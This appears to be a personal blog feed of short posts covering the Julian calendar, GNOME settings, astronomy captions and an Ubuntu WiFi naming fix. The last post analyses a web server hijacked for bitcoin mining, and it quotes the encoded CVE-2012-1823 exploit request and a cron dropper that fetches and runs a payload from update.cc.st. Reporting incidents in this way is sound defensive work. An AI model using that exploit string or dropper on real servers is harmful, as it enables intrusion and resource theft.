Caffeine, silicon and nimesulide

It was 46 BC. Julius Caesar stretched that year out to a whopping size. He wanted to make the following year begin at the right time again: that is, after the winter solstice.

Using the best astronomy and mathematics of the time, Caesar tinkered the old Roman calendar to make it fit the reality of the solar year. That's the year of 365 days (plus a few hours) that we take for granted today. We still divide it into 12 months, and still call them by their Roman names. But to begin this new measure of time, Caesar declared a transitional year of 445 days.

Everytime I have to setup a new gnome shell I forget these two important settings:

gsettings set org.gnome.shell.app-switcher current-workspace-only true

gsettings set org.gnome.shell.overrides workspaces-only-on-primary false

The first one is to have alt+tab listing only the windows in the current workspaces, while the second one is to enable workspaces on the secondary monitor.

Snow in the desert by Zinnadine Hashas

Enjoy your last walk, mister McCandless

Geminids of the North

The dark side of Saturn. Thanks Cassini

Because Earth is closer to the Sun than Saturn, observers on Earth only see Saturn’s day side. With spacecraft, we can capture views (and data) that are simply not possible from Earth, even with the largest telescopes.

I had some issues with my WiFi dongle on Ubuntu 17.04:

[ 5260.374208] IPv6: ADDRCONF(NETDEV_UP): wlx00026f8e18a6: link is not ready [ 5260.643606] IPv6: ADDRCONF(NETDEV_UP): wlx00026f8e18a6: link is not ready [ 5260.830852] IPv6: ADDRCONF(NETDEV_UP): wlx00026f8e18a6: link is not ready [ 5262.539637] IPv6: ADDRCONF(NETDEV_UP): wlx00026f8e18a6: link is not ready [ 5262.644090] wlx00026f8e18a6: authenticate with b2:5b:67:cf:67:c2 [ 5262.675408] wlx00026f8e18a6: send auth to b2:5b:67:cf:67:c2 (try 1/3) [ 5262.880609] wlx00026f8e18a6: send auth to b2:5b:67:cf:67:c2 (try 2/3) [ 5262.885848] wlx00026f8e18a6: authenticated [ 5267.680426] wlx00026f8e18a6: aborting authentication with b2:5b:67:cf:67:c2 by local choice (Reason: 3=DEAUTH_LEAVING) [ 5269.206735] wlx00026f8e18a6: authenticate with b2:5b:67:cf:67:c2 [ 5269.258927] wlx00026f8e18a6: send auth to b2:5b:67:cf:67:c2 (try 1/3)

I rarely use it (it's my desktop computer), nevertheless today I wanted to fix it. I started looking for the issue in the kernel module, but the way to fix this was way too weird to find out by myself:

ln -s /dev/null /etc/systemd/network/99-default.link

It looks like the issue was the name given to the interface, after this command, the wifi network interface is a more common wlan0 instead of wlx00026f8e18a6.. and it works :)

docker rm `docker ps -a -q`

A friend of mine had issues with a web server being very slow and sometimes even unavailable.

When I connected I found a process eating all the CPU time available. It was mining bitcoins.

What I found is that they used this vulnerabilty: CVE-2012-1823 to execute arbitrary code.

access.log is full of lines like this one:

127.0.0.1 - - [08/Nov/2013:02:28:52 +0000] "POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.0" 504 529 "-" "-"

Used to download and execute this script:

# cat /tmp/update #!/bin/sh plm=`ps x|grep mine.cc.st:3333|grep -v grep|awk '{print $7}'` if [ "$plm" != "" ] then echo "MERGE!!!" else nohup wget http://update.cc.st/a && sh a >> /dev/null & fi

Put in crontab, this script checks if the miner is working, otherwise it downloads and executes it again: http://pastebin.com/4PVDpkCe

Using an apache vulnerability means that the result code will be executed by www-data, without a real console access and with limited privileges over file system.